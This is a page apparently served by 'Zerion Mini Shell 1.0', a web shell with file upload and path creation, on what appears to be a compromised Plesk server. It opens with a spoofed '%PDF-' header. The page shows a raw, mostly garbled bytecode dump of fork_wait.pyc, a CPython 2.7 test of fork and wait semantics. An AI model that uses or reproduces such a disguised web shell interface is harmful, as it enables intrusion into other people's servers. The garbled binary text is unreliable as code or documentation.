%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib64/python2.7/test/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib64/python2.7/test/fork_wait.pyc

�
5}�ac@s�dZddlZddlZddlZddlZddljZejd�ZdZ	dZ
dZdejfd��YZ
dS(	s�This test case provides support for checking forking and wait behavior.

To test different wait behavior, override the wait_impl method.

We want fork1() semantics -- only the forking thread survives in the
child after a fork().

On some systems (e.g. Solaris without posix threads) we find that all
active threads survive in the child after a fork(); this is an error.

While BeOS doesn't officially support fork and native threading in
the same application, the present example should work just fine.  DC
i����Nt	threadingig�?itForkWaitcBs5eZd�Zd�Zd�Zd�Zd�ZRS(cCs.tj�|_i|_d|_g|_dS(Ni(tsupporttthreading_setupt_threading_keytalivetstoptthreads(tself((s7/opt/plesk/python/2.7/lib64/python2.7/test/fork_wait.pytsetUps		cCsHd|_x|jD]}|j�qWd}|j2tj|j�dS(Ni(RRtjointNoneRtthreading_cleanupR(Rtthread((s7/opt/plesk/python/2.7/lib64/python2.7/test/fork_wait.pyttearDown s	cCsLxE|jsGtj�|j|<ytjt�Wqtk
rCqXqWdS(N(RtostgetpidRttimetsleept
SHORTSLEEPtIOError(Rtid((s7/opt/plesk/python/2.7/lib64/python2.7/test/fork_wait.pytf)s
cCs�xPtd�D]B}tj|tj�\}}||kr>Pntjdt�q
W|j||�|j|dd|d@|d?f�dS(Ni
iiscause = %d, exit = %di�i(trangeRtwaitpidtWNOHANGRRRtassertEqual(Rtcpidtitspidtstatus((s7/opt/plesk/python/2.7/lib64/python2.7/test/fork_wait.pyt	wait_impl1scCs<xLtt�D]>}tjd|jd|f�}|j�|jj|�q
Wtj	t
�|jj�}|j
�|j|tt��|jj�}tjdkr�tj�}ntj�}|dkr+tj	t
�d}x5|jD]*}|j|||kr�|d7}q�q�Wtj|�n
|j|�dS(Nttargettargst	unixware7ii(R"(RtNUM_THREADSRtThreadRtstartRtappendRRt	LONGSLEEPRtkeystsortRtcopytsystplatformRtfork1tforkt_exitR(RRR
tat
prefork_livesRtntkey((s7/opt/plesk/python/2.7/lib64/python2.7/test/fork_wait.pyt	test_wait=s(



(t__name__t
__module__R	RRRR4(((s7/opt/plesk/python/2.7/lib64/python2.7/test/fork_wait.pyRs
					(t__doc__RR+Rtunittestttest.supportRt
import_moduleRR'RR#tTestCaseR(((s7/opt/plesk/python/2.7/lib64/python2.7/test/fork_wait.pyt<module>
s0

Zerion Mini Shell 1.0